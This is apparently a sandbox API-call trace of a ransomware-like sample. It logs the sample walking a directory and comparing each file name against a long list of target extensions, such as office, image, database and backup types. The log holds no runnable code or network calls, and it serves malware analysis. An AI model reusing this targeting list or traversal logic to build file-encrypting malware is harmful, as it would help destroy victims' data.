	[0069.865] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.865] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0069.865] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0069.865] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0069.865] FindClose (in: hFindFile=0x3121590 | out: hFindFile=0x3121590) returned 1
	[0069.865] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0069.865] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0069.865] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0069.865] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26
	[0069.865] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121450
	[0070.008] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.009] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.009] lstrlenW (lpString="eula.rtf") returned 8
	[0070.009] lstrlenW (lpString=".1cd") returned 4
	[0070.009] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.009] lstrlenW (lpString=".3ds") returned 4
	[0070.009] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0070.009] lstrlenW (lpString=".3fr") returned 4
	[0070.009] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0070.009] lstrlenW (lpString=".3g2") returned 4
	[0070.009] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0070.009] lstrlenW (lpString=".3gp") returned 4
	[0070.009] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0070.009] lstrlenW (lpString=".7z") returned 3
	[0070.009] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.009] lstrlenW (lpString=".accda") returned 6
	[0070.009] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0070.009] lstrlenW (lpString=".accdb") returned 6
	[0070.009] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0070.009] lstrlenW (lpString=".accdc") returned 6
	[0070.009] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0070.009] lstrlenW (lpString=".accde") returned 6
	[0070.009] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0070.009] lstrlenW (lpString=".accdt") returned 6
	[0070.009] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0070.009] lstrlenW (lpString=".accdw") returned 6
	[0070.009] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0070.009] lstrlenW (lpString=".adb") returned 4
	[0070.009] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0070.009] lstrlenW (lpString=".adp") returned 4
	[0070.009] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0070.009] lstrlenW (lpString=".ai") returned 3
	[0070.009] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0070.009] lstrlenW (lpString=".ai3") returned 4
	[0070.010] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".ai4") returned 4
	[0070.010] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".ai5") returned 4
	[0070.010] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".ai6") returned 4
	[0070.010] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".ai7") returned 4
	[0070.010] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".ai8") returned 4
	[0070.010] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".anim") returned 5
	[0070.010] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0070.010] lstrlenW (lpString=".arw") returned 4
	[0070.010] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".as") returned 3
	[0070.010] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0070.010] lstrlenW (lpString=".asa") returned 4
	[0070.010] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".asc") returned 4
	[0070.010] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".ascx") returned 5
	[0070.010] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0070.010] lstrlenW (lpString=".asm") returned 4
	[0070.010] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".asmx") returned 5
	[0070.010] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0070.010] lstrlenW (lpString=".asp") returned 4
	[0070.010] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".aspx") returned 5
	[0070.010] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0070.010] lstrlenW (lpString=".asr") returned 4
	[0070.010] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0070.010] lstrlenW (lpString=".asx") returned 4
	[0070.010] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".avi") returned 4
	[0070.011] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".avs") returned 4
	[0070.011] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".backup") returned 7
	[0070.011] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0070.011] lstrlenW (lpString=".bak") returned 4
	[0070.011] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".bay") returned 4
	[0070.011] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".bd") returned 3
	[0070.011] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0070.011] lstrlenW (lpString=".bin") returned 4
	[0070.011] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".bmp") returned 4
	[0070.011] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".bz2") returned 4
	[0070.011] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".c") returned 2
	[0070.011] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0070.011] lstrlenW (lpString=".cdr") returned 4
	[0070.011] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".cer") returned 4
	[0070.011] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".cf") returned 3
	[0070.011] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0070.011] lstrlenW (lpString=".cfc") returned 4
	[0070.011] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".cfm") returned 4
	[0070.011] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".cfml") returned 5
	[0070.011] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0070.011] lstrlenW (lpString=".cfu") returned 4
	[0070.011] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0070.011] lstrlenW (lpString=".chm") returned 4
	[0070.011] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".cin") returned 4
	[0070.012] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".class") returned 6
	[0070.012] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0070.012] lstrlenW (lpString=".clx") returned 4
	[0070.012] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".config") returned 7
	[0070.012] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0070.012] lstrlenW (lpString=".cpp") returned 4
	[0070.012] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".cr2") returned 4
	[0070.012] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".crt") returned 4
	[0070.012] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".crw") returned 4
	[0070.012] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".cs") returned 3
	[0070.012] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0070.012] lstrlenW (lpString=".css") returned 4
	[0070.012] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".csv") returned 4
	[0070.012] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".cub") returned 4
	[0070.012] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".dae") returned 4
	[0070.012] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".dat") returned 4
	[0070.012] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".db") returned 3
	[0070.012] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0070.012] lstrlenW (lpString=".dbf") returned 4
	[0070.012] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".dbx") returned 4
	[0070.012] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0070.012] lstrlenW (lpString=".dc3") returned 4
	[0070.012] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".dcm") returned 4
	[0070.013] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".dcr") returned 4
	[0070.013] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".der") returned 4
	[0070.013] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".dib") returned 4
	[0070.013] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".dic") returned 4
	[0070.013] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".dif") returned 4
	[0070.013] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".divx") returned 5
	[0070.013] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0070.013] lstrlenW (lpString=".djvu") returned 5
	[0070.013] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0070.013] lstrlenW (lpString=".dng") returned 4
	[0070.013] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".doc") returned 4
	[0070.013] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".docm") returned 5
	[0070.013] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0070.013] lstrlenW (lpString=".docx") returned 5
	[0070.013] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.013] lstrlenW (lpString=".dot") returned 4
	[0070.013] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".dotm") returned 5
	[0070.013] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0070.013] lstrlenW (lpString=".dotx") returned 5
	[0070.013] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0070.013] lstrlenW (lpString=".dpx") returned 4
	[0070.013] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".dqy") returned 4
	[0070.013] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0070.013] lstrlenW (lpString=".dsn") returned 4
	[0070.013] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".dt") returned 3
	[0070.014] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0070.014] lstrlenW (lpString=".dtd") returned 4
	[0070.014] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".dwg") returned 4
	[0070.014] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".dwt") returned 4
	[0070.014] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".dx") returned 3
	[0070.014] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0070.014] lstrlenW (lpString=".dxf") returned 4
	[0070.014] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".edml") returned 5
	[0070.014] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0070.014] lstrlenW (lpString=".efd") returned 4
	[0070.014] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".elf") returned 4
	[0070.014] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".emf") returned 4
	[0070.014] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".emz") returned 4
	[0070.014] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".epf") returned 4
	[0070.014] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".eps") returned 4
	[0070.014] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".epsf") returned 5
	[0070.014] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0070.014] lstrlenW (lpString=".epsp") returned 5
	[0070.014] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0070.014] lstrlenW (lpString=".erf") returned 4
	[0070.014] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0070.014] lstrlenW (lpString=".exr") returned 4
	[0070.014] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".f4v") returned 4
	[0070.015] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".fido") returned 5
	[0070.015] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0070.015] lstrlenW (lpString=".flm") returned 4
	[0070.015] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".flv") returned 4
	[0070.015] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".frm") returned 4
	[0070.015] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".fxg") returned 4
	[0070.015] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".geo") returned 4
	[0070.015] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".gif") returned 4
	[0070.015] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".grs") returned 4
	[0070.015] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".gz") returned 3
	[0070.015] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0070.015] lstrlenW (lpString=".h") returned 2
	[0070.015] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0070.015] lstrlenW (lpString=".hdr") returned 4
	[0070.015] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".hpp") returned 4
	[0070.015] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".hta") returned 4
	[0070.015] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".htc") returned 4
	[0070.015] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".htm") returned 4
	[0070.015] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0070.015] lstrlenW (lpString=".html") returned 5
	[0070.015] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0070.015] lstrlenW (lpString=".icb") returned 4
	[0070.015] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".ics") returned 4
	[0070.016] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".iff") returned 4
	[0070.016] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".inc") returned 4
	[0070.016] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".indd") returned 5
	[0070.016] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0070.016] lstrlenW (lpString=".ini") returned 4
	[0070.016] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".iqy") returned 4
	[0070.016] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".j2c") returned 4
	[0070.016] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".j2k") returned 4
	[0070.016] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".java") returned 5
	[0070.016] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0070.016] lstrlenW (lpString=".jp2") returned 4
	[0070.016] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".jpc") returned 4
	[0070.016] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".jpe") returned 4
	[0070.016] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".jpeg") returned 5
	[0070.016] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0070.016] lstrlenW (lpString=".jpf") returned 4
	[0070.016] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".jpg") returned 4
	[0070.016] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".jpx") returned 4
	[0070.016] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0070.016] lstrlenW (lpString=".js") returned 3
	[0070.017] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0070.017] lstrlenW (lpString=".jsf") returned 4
	[0070.017] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".json") returned 5
	[0070.017] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0070.017] lstrlenW (lpString=".jsp") returned 4
	[0070.017] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".kdc") returned 4
	[0070.017] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".kmz") returned 4
	[0070.017] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".kwm") returned 4
	[0070.017] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".lasso") returned 6
	[0070.017] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0070.017] lstrlenW (lpString=".lbi") returned 4
	[0070.017] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".lgf") returned 4
	[0070.017] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".lgp") returned 4
	[0070.017] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".log") returned 4
	[0070.017] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".m1v") returned 4
	[0070.017] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".m4a") returned 4
	[0070.017] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".m4v") returned 4
	[0070.017] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".max") returned 4
	[0070.017] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0070.017] lstrlenW (lpString=".md") returned 3
	[0070.017] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0070.017] lstrlenW (lpString=".mda") returned 4
	[0070.017] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mdb") returned 4
	[0070.018] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mde") returned 4
	[0070.018] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mdf") returned 4
	[0070.018] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mdw") returned 4
	[0070.018] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mef") returned 4
	[0070.018] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mft") returned 4
	[0070.018] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mfw") returned 4
	[0070.018] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mht") returned 4
	[0070.018] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mhtml") returned 6
	[0070.018] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0070.018] lstrlenW (lpString=".mka") returned 4
	[0070.018] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mkidx") returned 6
	[0070.018] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0070.018] lstrlenW (lpString=".mkv") returned 4
	[0070.018] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mos") returned 4
	[0070.018] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mov") returned 4
	[0070.018] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mp3") returned 4
	[0070.018] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mp4") returned 4
	[0070.018] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0070.018] lstrlenW (lpString=".mpeg") returned 5
	[0070.018] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0070.018] lstrlenW (lpString=".mpg") returned 4
	[0070.018] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".mpv") returned 4
	[0070.019] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".mrw") returned 4
	[0070.019] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".msg") returned 4
	[0070.019] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".mxl") returned 4
	[0070.019] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".myd") returned 4
	[0070.019] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".myi") returned 4
	[0070.019] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".nef") returned 4
	[0070.019] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".nrw") returned 4
	[0070.019] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".obj") returned 4
	[0070.019] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0070.019] lstrlenW (lpString=".odb") returned 4
